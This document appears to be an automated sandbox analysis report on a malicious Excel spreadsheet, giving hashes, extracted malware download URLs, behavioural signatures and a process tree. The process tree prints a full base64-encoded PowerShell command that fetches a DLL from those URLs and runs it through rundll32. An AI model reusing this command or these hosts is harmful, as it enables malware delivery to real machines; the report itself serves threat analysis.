Analysis
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max time kernel
133s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 21:16
Behavioral task
behavioral1
Sample
f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e.xls
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e.xls
Resource
win10v2004-20241007-en
General
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Target
f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e.xls
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Size
144KB
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MD5
63fe243ac27e3b363df51db0bbac1c08
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SHA1
40319f467812d05e5a9eb20ac42e22781420216c
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SHA256
f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e
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SHA512
1b8d6caf9dbf6c3617a1b182f02ed937c712d59f8d906a2d75617675375f9047824ee9ed3c73bb8c9ba8d7d048c872d57b69584d9dd7bb0a8a11765834822bb5
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SSDEEP
3072:T7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TIKGxS:/cKoSsxzNDZLDZjlbR868O8K0c03D38p
Malware Config
Extracted
http://althyplane.com/wp-admin/ELWa8YcOqlJn/
http://dreamdancefactory.clnetworktv.com/zegsgpzq/CT75/
http://ajkersomaj.com/wp-admin/ThBwKpUbIffmrepRg/
http://1asehrgut.com/dup-installer/3vESrkJAS97l/
http://dreamcityloveaffair.com/60bv5/RG9Kb1qRlQ/
http://dreamproductionsfl.com/tmw8t/Szjjcj5mU1ZA/
http://dreamcityimprov.com/d5759pd/yzbV45v1nY/
http://delmarpropertyservices.com/nw1t8jj/NUrSuFyX6P/
http://batumi4u.com/nwj7iw/jgiK2uwhsu/
http://blasieholmen-staging.tokig.site/b/SOcGvzIi31HDg/
http://climate.thecedarcentre.org/cgi-bin/3eseeNZ/
http://changeyourcommunitynow.com/s1hf7qm/TqcrwYcOiqV8fWA/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1816 4284 cmd.exe 82 -
Blocklisted process makes network request 8 IoCs
flow pid Process 24 4736 powershell.exe 26 4736 powershell.exe 29 4736 powershell.exe 33 4736 powershell.exe 36 4736 powershell.exe 42 4736 powershell.exe 44 4736 powershell.exe 48 4736 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4284 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4736 powershell.exe 4736 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4736 powershell.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 4284 EXCEL.EXE 4284 EXCEL.EXE 4284 EXCEL.EXE 4284 EXCEL.EXE 4284 EXCEL.EXE 4284 EXCEL.EXE 4284 EXCEL.EXE 4284 EXCEL.EXE 4284 EXCEL.EXE 4284 EXCEL.EXE 4284 EXCEL.EXE 4284 EXCEL.EXE 4284 EXCEL.EXE 4284 EXCEL.EXE -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 4284 wrote to memory of 1816 4284 EXCEL.EXE 87 PID 4284 wrote to memory of 1816 4284 EXCEL.EXE 87 PID 1816 wrote to memory of 4736 1816 cmd.exe 89 PID 1816 wrote to memory of 4736 1816 cmd.exe 89 PID 4736 wrote to memory of 4272 4736 powershell.exe 102 PID 4736 wrote to memory of 4272 4736 powershell.exe 102 PID 4736 wrote to memory of 4272 4736 powershell.exe 102
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4284 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\cbjwektde.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AYQBsAHQAaAB5AHAAbABhAG4AZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARQBMAFcAYQA4AFkAYwBPAHEAbABKAG4ALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAGQAYQBuAGMAZQBmAGEAYwB0AG8AcgB5AC4AYwBsAG4AZQB0AHcAbwByAGsAdAB2AC4AYwBvAG0ALwB6AGUAZwBzAGcAcAB6AHEALwBDAFQANwA1AC8ALABoAHQAdABwADoALwAvAGEAagBrAGUAcgBzAG8AbQBhAGoALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFQAaABCAHcASwBwAFUAYgBJAGYAZgBtAHIAZQBwAFIAZwAvACwAaAB0AHQAcAA6AC8ALwAxAGEAcwBlAGgAcgBnAHUAdAAuAGMAbwBtAC8AZAB1AHAALQBpAG4AcwB0AGEAbABsAGUAcgAvADMAdgBFAFMAcgBrAEoAQQBTADkANwBsAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGwAbwB2AGUAYQBmAGYAYQBpAHIALgBjAG8AbQAvADYAMABiAHYANQAvAFIARwA5AEsAYgAxAHEAUgBsAFEALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAHAAcgBvAGQAdQBjAHQAaQBvAG4AcwBmAGwALgBjAG8AbQAvAHQAbQB3ADgAdAAvAFMAegBqAGoAYwBqADUAbQBVADEAWgBBAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGkAbQBwAHIAbwB2AC4AYwBvAG0ALwBkADUANwA1ADkAcABkAC8AeQB6AGIAVgA0ADUAdgAxAG4AWQAvACwAaAB0AHQAcAA6AC8ALwBkAGUAbABtAGEAcgBwAHIAbwBwAGUAcgB0AHkAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwBuAHcAMQB0ADgAagBqAC8ATgBVAHIAUwB1AEYAeQBYADYAUAAvACwAaAB0AHQAcAA6AC8ALwBiAGEAdAB1AG0AaQA0AHUALgBjAG8AbQAvAG4AdwBqADcAaQB3AC8AagBnAGkASwAyAHUAdwBoAHMAdQAvACwAaAB0AHQAcAA6AC8ALwBiAGwAYQBzAGkAZQBoAG8AbABtAGUAbgAtAHMAdABhAGcAaQBuAGcALgB0AG8AawBpAGcALgBzAGkAdABlAC8AYgAvAFMATwBjAEcAdgB6AEkAaQAzADEASABEAGcALwAsAGgAdAB0AHAAOgAvAC8AYwBsAGkAbQBhAHQAZQAuAHQAaABlAGMAZQBkAGEAcgBjAGUAbgB0AHIAZQAuAG8AcgBnAC8AYwBnAGkALQBiAGkAbgAvADMAZQBzAGUAZQBOAFoALwAsAGgAdAB0AHAAOgAvAC8AYwBoAGEAbgBnAGUAeQBvAHUAcgBjAG8AbQBtAHUAbgBpAHQAeQBuAG8AdwAuAGMAbwBtAC8AcwAxAGgAZgA3AHEAbQAvAFQAcQBjAHIAdwBZAGMATwBpAHEAVgA4AGYAVwBBAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwAgAGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4736 -
C:\windows\syswow64\rundll32.exe"C:\windows\syswow64\rundll32.exe" c:\programdata\1200464463.dll,f1174747784⤵
- System Location Discovery: System Language Discovery
PID:4272
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD53ba40bed912275efe96bb009fb6bf97c
SHA1ddf867d4c67a6f9a084f74c9293809357c737cab
SHA256e2194135180e3772fe9b78506c359238fc0a2e3b0ed4bfb1e47e0e0d89d4b9eb
SHA5125e5f4e20a554438875692442a5c16d051fd08a4cbc32d71e7eeb73cc2ec407385f9ab27875e1d6ddd5b5d8b09b921decf31e24b3915fa5292d12385b962daebe
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Filesize
3KB
MD5a90319111c2f42a9c83a3a2bc2613d74
SHA1bf1171da149442a511a946ded726b94c1ad7cf85
SHA256763706fce04801df0720ca67b0905876ddf4f3fc1aedbbd1d032e96b227a6e51
SHA5121358cf85166ea3a135425e7aa274ab66dd21605f3635c5260fd35e5134ef9698ea5b38df21721aaa72040d6f2506f5b3e926a72698dec56191d8079e3511ffe7
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Filesize
78KB
MD58eab8e846d9b913068a1cf73cb18a28f
SHA15cc18dd51d120383a1636285e6b970d3bea2759e
SHA256ef7071fc0722aaca21c7e41c378ecf4bb23296c882bebf9b4124ecde84ee0a35
SHA51255fedff400d15d34b7a01cb252310bf95b5585cc1449993236ea9aed488182f6ae59f4575e74c4ffb65cda08721ac5e52d89d60b852aece37bc8c99fbf64a646